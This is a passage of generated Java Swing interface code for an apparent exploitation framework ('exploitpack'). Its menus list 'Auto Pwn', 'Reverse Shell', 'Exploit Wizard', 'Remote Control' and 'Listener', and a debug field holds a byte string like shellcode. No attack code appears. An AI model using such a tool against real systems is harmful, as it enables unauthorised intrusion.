                            .addComponent(jTextFieldUTFAmount, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))))
                .addContainerGap())
        );

        jPanel35.setBackground(java.awt.Color.white);
        jPanel35.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Overview ( Header )"));

        jTextAreaUTFResults.setBackground(new java.awt.Color(1, 1, 1));
        jTextAreaUTFResults.setColumns(20);
        jTextAreaUTFResults.setFont(new java.awt.Font("Monospaced", 0, 12)); // NOI18N
        jTextAreaUTFResults.setForeground(java.awt.Color.green);
        jTextAreaUTFResults.setLineWrap(true);
        jTextAreaUTFResults.setRows(5);
        jTextAreaUTFResults.setText("Create an UTF locator for debugging common UTF-8 character encoding problems, click on create and copy/paste the locator to your target.\n");
        jScrollPane20.setViewportView(jTextAreaUTFResults);

        javax.swing.GroupLayout jPanel35Layout = new javax.swing.GroupLayout(jPanel35);
        jPanel35.setLayout(jPanel35Layout);
        jPanel35Layout.setHorizontalGroup(
            jPanel35Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel35Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane20)
                .addContainerGap())
        );
        jPanel35Layout.setVerticalGroup(
            jPanel35Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel35Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane20, javax.swing.GroupLayout.DEFAULT_SIZE, 670, Short.MAX_VALUE)
                .addContainerGap())
        );

        javax.swing.GroupLayout jPanel30Layout = new javax.swing.GroupLayout(jPanel30);
        jPanel30.setLayout(jPanel30Layout);
        jPanel30Layout.setHorizontalGroup(
            jPanel30Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel30Layout.createSequentialGroup()
                .addGroup(jPanel30Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                    .addComponent(jPanel35, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(jPanel34, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                .addContainerGap())
        );
        jPanel30Layout.setVerticalGroup(
            jPanel30Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel30Layout.createSequentialGroup()
                .addGap(14, 14, 14)
                .addComponent(jPanel34, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jPanel35, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );

        javax.swing.GroupLayout jPanel29Layout = new javax.swing.GroupLayout(jPanel29);
        jPanel29.setLayout(jPanel29Layout);
        jPanel29Layout.setHorizontalGroup(
            jPanel29Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jPanel30, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
        );
        jPanel29Layout.setVerticalGroup(
            jPanel29Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel29Layout.createSequentialGroup()
                .addComponent(jPanel30, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane.addTab("UTF-Locator", jPanel29);

        jTextAreaQuickInfo.setBackground(java.awt.Color.black);
        jTextAreaQuickInfo.setColumns(20);
        jTextAreaQuickInfo.setFont(new java.awt.Font("Monospaced", 0, 12)); // NOI18N
        jTextAreaQuickInfo.setForeground(java.awt.Color.green);
        jTextAreaQuickInfo.setRows(5);
        jTextAreaQuickInfo.setText("[10:19:14] Application started\n");
        jScrollPane3.setViewportView(jTextAreaQuickInfo);

        javax.swing.GroupLayout jPanel14Layout = new javax.swing.GroupLayout(jPanel14);
        jPanel14.setLayout(jPanel14Layout);
        jPanel14Layout.setHorizontalGroup(
            jPanel14Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jScrollPane3, javax.swing.GroupLayout.DEFAULT_SIZE, 1033, Short.MAX_VALUE)
        );
        jPanel14Layout.setVerticalGroup(
            jPanel14Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jScrollPane3, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 105, Short.MAX_VALUE)
        );

        jTabbedPane1.addTab("Quick Information", jPanel14);

        jTextAreaAppLog.setBackground(java.awt.Color.black);
        jTextAreaAppLog.setColumns(20);
        jTextAreaAppLog.setFont(new java.awt.Font("Monospaced", 0, 12)); // NOI18N
        jTextAreaAppLog.setForeground(java.awt.Color.green);
        jTextAreaAppLog.setRows(5);
        jScrollPane10.setViewportView(jTextAreaAppLog);

        javax.swing.GroupLayout jPanel19Layout = new javax.swing.GroupLayout(jPanel19);
        jPanel19.setLayout(jPanel19Layout);
        jPanel19Layout.setHorizontalGroup(
            jPanel19Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jScrollPane10, javax.swing.GroupLayout.DEFAULT_SIZE, 1033, Short.MAX_VALUE)
        );
        jPanel19Layout.setVerticalGroup(
            jPanel19Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jScrollPane10, javax.swing.GroupLayout.DEFAULT_SIZE, 105, Short.MAX_VALUE)
        );

        jTabbedPane1.addTab("Application Log", jPanel19);

        jTextAreaDebugging.setBackground(java.awt.Color.blue);
        jTextAreaDebugging.setColumns(20);
        jTextAreaDebugging.setFont(new java.awt.Font("Monospaced", 0, 12)); // NOI18N
        jTextAreaDebugging.setForeground(java.awt.Color.white);
        jTextAreaDebugging.setRows(5);
        jTextAreaDebugging.setText("Debugging and Exceptions. For testing purpouses. %90%60%44%42%43%41%00");
        jScrollPane11.setViewportView(jTextAreaDebugging);

        javax.swing.GroupLayout jPanel20Layout = new javax.swing.GroupLayout(jPanel20);
        jPanel20.setLayout(jPanel20Layout);
        jPanel20Layout.setHorizontalGroup(
            jPanel20Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jScrollPane11, javax.swing.GroupLayout.DEFAULT_SIZE, 1033, Short.MAX_VALUE)
        );
        jPanel20Layout.setVerticalGroup(
            jPanel20Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addComponent(jScrollPane11, javax.swing.GroupLayout.DEFAULT_SIZE, 105, Short.MAX_VALUE)
        );

        jTabbedPane1.addTab("Debug ( for developers )", jPanel20);

        jPanel5.setBackground(java.awt.Color.white);

        jLabel10.setText("Module status:");

        jLabelWelcome.setFont(new java.awt.Font("Lucida Grande", 1, 13)); // NOI18N
        jLabelWelcome.setText("Licensed to: - [Juan Sacco]");

        javax.swing.GroupLayout jPanel5Layout = new javax.swing.GroupLayout(jPanel5);
        jPanel5.setLayout(jPanel5Layout);
        jPanel5Layout.setHorizontalGroup(
            jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel5Layout.createSequentialGroup()
                .addComponent(jLabelWelcome)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addComponent(jLabel10)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jProgressBarModuleStatus, javax.swing.GroupLayout.PREFERRED_SIZE, 114, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(0, 0, 0))
        );
        jPanel5Layout.setVerticalGroup(
            jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel5Layout.createSequentialGroup()
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                    .addComponent(jProgressBarModuleStatus, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                        .addComponent(jLabel10)
                        .addComponent(jLabelWelcome))))
        );

        jLabelWelcome.getAccessibleContext().setAccessibleName("");

        jPanel21.setBackground(java.awt.Color.white);
        jPanel21.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Network Scanner", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.TOP));

        treeNode1 = new javax.swing.tree.DefaultMutableTreeNode("JTree");
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("Nmap - Built-in");
        treeNode1.add(treeNode2);
        jTreeRemoteScanner.setModel(new javax.swing.tree.DefaultTreeModel(treeNode1));
        jTreeRemoteScanner.setRootVisible(false);
        jScrollPane4.setViewportView(jTreeRemoteScanner);

        javax.swing.GroupLayout jPanel21Layout = new javax.swing.GroupLayout(jPanel21);
        jPanel21.setLayout(jPanel21Layout);
        jPanel21Layout.setHorizontalGroup(
            jPanel21Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel21Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane4, javax.swing.GroupLayout.DEFAULT_SIZE, 216, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel21Layout.setVerticalGroup(
            jPanel21Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel21Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane4, javax.swing.GroupLayout.DEFAULT_SIZE, 144, Short.MAX_VALUE)
                .addContainerGap())
        );

        jPanel22.setBackground(java.awt.Color.white);
        jPanel22.setBorder(javax.swing.BorderFactory.createTitledBorder(new javax.swing.border.LineBorder(new java.awt.Color(0, 0, 0), 1, true), "Modules Executed", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.TOP));

        treeNode1 = new javax.swing.tree.DefaultMutableTreeNode("JTree");
        treeNode2 = new javax.swing.tree.DefaultMutableTreeNode("Module status");
        treeNode1.add(treeNode2);
        jTreeModuleStatus.setModel(new javax.swing.tree.DefaultTreeModel(treeNode1));
        jTreeModuleStatus.setRootVisible(false);
        jScrollPane5.setViewportView(jTreeModuleStatus);

        javax.swing.GroupLayout jPanel22Layout = new javax.swing.GroupLayout(jPanel22);
        jPanel22.setLayout(jPanel22Layout);
        jPanel22Layout.setHorizontalGroup(
            jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel22Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane5, javax.swing.GroupLayout.DEFAULT_SIZE, 204, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel22Layout.setVerticalGroup(
            jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel22Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane5, javax.swing.GroupLayout.DEFAULT_SIZE, 146, Short.MAX_VALUE)
                .addContainerGap())
        );

        jButtonExecution.setBackground(java.awt.Color.black);
        jButtonExecution.setForeground(java.awt.Color.white);
        jButtonExecution.setText("Execute Module");
        jButtonExecution.setMaximumSize(new java.awt.Dimension(140, 29));
        jButtonExecution.setMinimumSize(new java.awt.Dimension(140, 29));
        jButtonExecution.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButtonExecutionActionPerformed(evt);
            }
        });

        jMenu1.setText("File");

        jMenuItem2.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_N, java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem2.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/new.png"))); // NOI18N
        jMenuItem2.setText("New project");
        jMenuItem2.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem2ActionPerformed(evt);
            }
        });
        jMenu1.add(jMenuItem2);

        jMenuItem3.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_O, java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem3.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/open.png"))); // NOI18N
        jMenuItem3.setText("Open project");
        jMenuItem3.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem3ActionPerformed(evt);
            }
        });
        jMenu1.add(jMenuItem3);
        jMenu1.add(jSeparator15);

        jMenuItem48.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_M, java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem48.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/scriptnormal.png"))); // NOI18N
        jMenuItem48.setText("New module");
        jMenuItem48.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem48ActionPerformed(evt);
            }
        });
        jMenu1.add(jMenuItem48);

        jMenuItem55.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_I, java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem55.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/scriptnormal.png"))); // NOI18N
        jMenuItem55.setText("Import module");
        jMenuItem55.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem55ActionPerformed(evt);
            }
        });
        jMenu1.add(jMenuItem55);
        jMenu1.add(jSeparator29);

        jMenuItem6.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_R, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem6.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/bugbug.png"))); // NOI18N
        jMenuItem6.setText("New shell");
        jMenuItem6.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem6ActionPerformed(evt);
            }
        });
        jMenu1.add(jMenuItem6);
        jMenu1.add(jSeparator13);

        jMenuItem5.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_S, java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem5.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1316134049_table_save.png"))); // NOI18N
        jMenuItem5.setText("Save project");
        jMenu1.add(jMenuItem5);

        jMenuItem4.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem4.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/close.gif"))); // NOI18N
        jMenuItem4.setText("Close project");
        jMenu1.add(jMenuItem4);
        jMenu1.add(jSeparator14);

        jMenuItem1.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_E, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem1.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/stop.png"))); // NOI18N
        jMenuItem1.setText("Exit");
        jMenuItem1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem1ActionPerformed(evt);
            }
        });
        jMenu1.add(jMenuItem1);

        jMenuBar1.add(jMenu1);

        jMenu17.setText("Targets");

        jMenuItem63.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/refresh.png"))); // NOI18N
        jMenuItem63.setText("Refresh list");
        jMenuItem63.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem63ActionPerformed(evt);
            }
        });
        jMenu17.add(jMenuItem63);

        jMenuItem45.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/computer.png"))); // NOI18N
        jMenuItem45.setText("Add targets");
        jMenuItem45.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem45ActionPerformed(evt);
            }
        });
        jMenu17.add(jMenuItem45);

        jMenuBar1.add(jMenu17);

        jMenu2.setText("Edit");

        jMenuItem7.setAction(new DefaultEditorKit.CutAction());
        jMenuItem7.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_X, java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem7.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1316134425_cut_red.png"))); // NOI18N
        jMenuItem7.setText("Cut");
        jMenu2.add(jMenuItem7);

        jMenuItem8.setAction(new DefaultEditorKit.CopyAction());
        jMenuItem8.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_V, java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem8.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1316134439_page_copy.png"))); // NOI18N
        jMenuItem8.setText("Copy");
        jMenuItem8.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem8ActionPerformed(evt);
            }
        });
        jMenu2.add(jMenuItem8);

        jMenuItem9.setAction(new DefaultEditorKit.PasteAction());
        jMenuItem9.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_P, java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem9.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1316134460_page_white_paste.png"))); // NOI18N
        jMenuItem9.setText("Paste");
        jMenu2.add(jMenuItem9);

        jMenuBar1.add(jMenu2);

        jMenu3.setText("Modules");

        jMenuItem10.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_M, java.awt.event.InputEvent.ALT_MASK | java.awt.event.InputEvent.SHIFT_MASK));
        jMenuItem10.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1316133906_package.png"))); // NOI18N
        jMenuItem10.setText("Show modules");
        jMenuItem10.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem10ActionPerformed(evt);
            }
        });
        jMenu3.add(jMenuItem10);
        jMenu3.add(jSeparator50);

        jMenuItem12.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_R, java.awt.event.InputEvent.ALT_MASK));
        jMenuItem12.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/updatemanager.png"))); // NOI18N
        jMenuItem12.setText("Refresh modules");
        jMenuItem12.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem12ActionPerformed(evt);
            }
        });
        jMenu3.add(jMenuItem12);

        jMenuItem62.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_R, java.awt.event.InputEvent.ALT_MASK));
        jMenuItem62.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/updatemanager.png"))); // NOI18N
        jMenuItem62.setText("Refresh targets");
        jMenuItem62.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem62ActionPerformed(evt);
            }
        });
        jMenu3.add(jMenuItem62);

        jMenuBar1.add(jMenu3);

        jMenu4.setText("Tools");

        jMenuItem47.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_T, java.awt.event.InputEvent.ALT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem47.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/editor.png"))); // NOI18N
        jMenuItem47.setText("Notepad");
        jMenuItem47.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem47ActionPerformed(evt);
            }
        });
        jMenu4.add(jMenuItem47);

        jMenuItem11.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_T, java.awt.event.InputEvent.ALT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem11.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/terminal.png"))); // NOI18N
        jMenuItem11.setText("Console");
        jMenuItem11.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem11ActionPerformed(evt);
            }
        });
        jMenu4.add(jMenuItem11);

        jMenuItem46.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_T, java.awt.event.InputEvent.ALT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem46.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/if_net_comp_42279.png"))); // NOI18N
        jMenuItem46.setText("Listener");
        jMenuItem46.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem46ActionPerformed(evt);
            }
        });
        jMenu4.add(jMenuItem46);
        jMenu4.add(jSeparator17);

        jMenuItem13.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_M, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem13.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/robotauto.png"))); // NOI18N
        jMenuItem13.setText("Auto Pwn");
        jMenuItem13.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem13ActionPerformed(evt);
            }
        });
        jMenu4.add(jMenuItem13);

        jMenuItem22.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_M, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem22.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/binary.gif"))); // NOI18N
        jMenuItem22.setText("Hex Editor");
        jMenuItem22.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem22ActionPerformed(evt);
            }
        });
        jMenu4.add(jMenuItem22);
        jMenu4.add(jSeparator16);

        jMenuItem60.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem60.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/bugbug.png"))); // NOI18N
        jMenuItem60.setText("Reverse Shell");
        jMenuItem60.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem60ActionPerformed(evt);
            }
        });
        jMenu4.add(jMenuItem60);
        jMenu4.add(jSeparator48);

        jMenuItem59.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem59.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/agent.png"))); // NOI18N
        jMenuItem59.setText("Exploit Wizard");
        jMenuItem59.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem59ActionPerformed(evt);
            }
        });
        jMenu4.add(jMenuItem59);

        jMenuItem58.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem58.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1476380776_internet-web-browser.png"))); // NOI18N
        jMenuItem58.setText("Remote Control");
        jMenuItem58.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem58ActionPerformed(evt);
            }
        });
        jMenu4.add(jMenuItem58);

        jMenuItem67.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem67.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/1491936605_wizard.png"))); // NOI18N
        jMenuItem67.setText("VBS Wizard");
        jMenuItem67.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jMenuItem67MouseClicked(evt);
            }
        });
        jMenuItem67.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem67ActionPerformed(evt);
            }
        });
        jMenu4.add(jMenuItem67);

        jMenuItem61.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem61.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/networking2.png"))); // NOI18N
        jMenuItem61.setText("Network mapper");
        jMenuItem61.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem61ActionPerformed(evt);
            }
        });
        jMenu4.add(jMenuItem61);
        jMenu4.add(jSeparator49);

        jMenuItem14.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_C, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem14.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/options.png"))); // NOI18N
        jMenuItem14.setText("Edit preferences");
        jMenuItem14.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem14ActionPerformed(evt);
            }
        });
        jMenu4.add(jMenuItem14);

        jMenuBar1.add(jMenu4);

        jMenu5.setText("Run");

        jMenuItem15.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_R, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem15.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/run.png"))); // NOI18N
        jMenuItem15.setText("Resume");
        jMenu5.add(jMenuItem15);

        jMenuItem16.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_S, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem16.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/stop.png"))); // NOI18N
        jMenuItem16.setText("Stop");
        jMenu5.add(jMenuItem16);
        jMenu5.add(jSeparator18);

        jMenuItem17.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_D, java.awt.event.InputEvent.SHIFT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem17.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/reportbug.png"))); // NOI18N
        jMenuItem17.setText("Debug");
        jMenu5.add(jMenuItem17);
        jMenu5.add(jSeparator28);

        jMenuItem44.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_A, java.awt.event.InputEvent.ALT_MASK | java.awt.event.InputEvent.SHIFT_MASK));
        jMenuItem44.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/robotauto.png"))); // NOI18N
        jMenuItem44.setText("AutoPwn");
        jMenuItem44.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem44ActionPerformed(evt);
            }
        });
        jMenu5.add(jMenuItem44);

        jMenuBar1.add(jMenu5);

        jMenu6.setText("Update");

        jMenuItem18.setAccelerator(javax.swing.KeyStroke.getKeyStroke(java.awt.event.KeyEvent.VK_U, java.awt.event.InputEvent.ALT_MASK | java.awt.event.InputEvent.CTRL_MASK));
        jMenuItem18.setIcon(new javax.swing.ImageIcon(getClass().getResource("/exploitpack/resources/checkupdate.png"))); // NOI18N
        jMenuItem18.setText("Check for updates");
        jMenuItem18.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jMenuItem18ActionPerformed(evt);
            }
        });
        jMenu6.add(jMenuItem18);

        jMenuBar1.add(jMenu6);

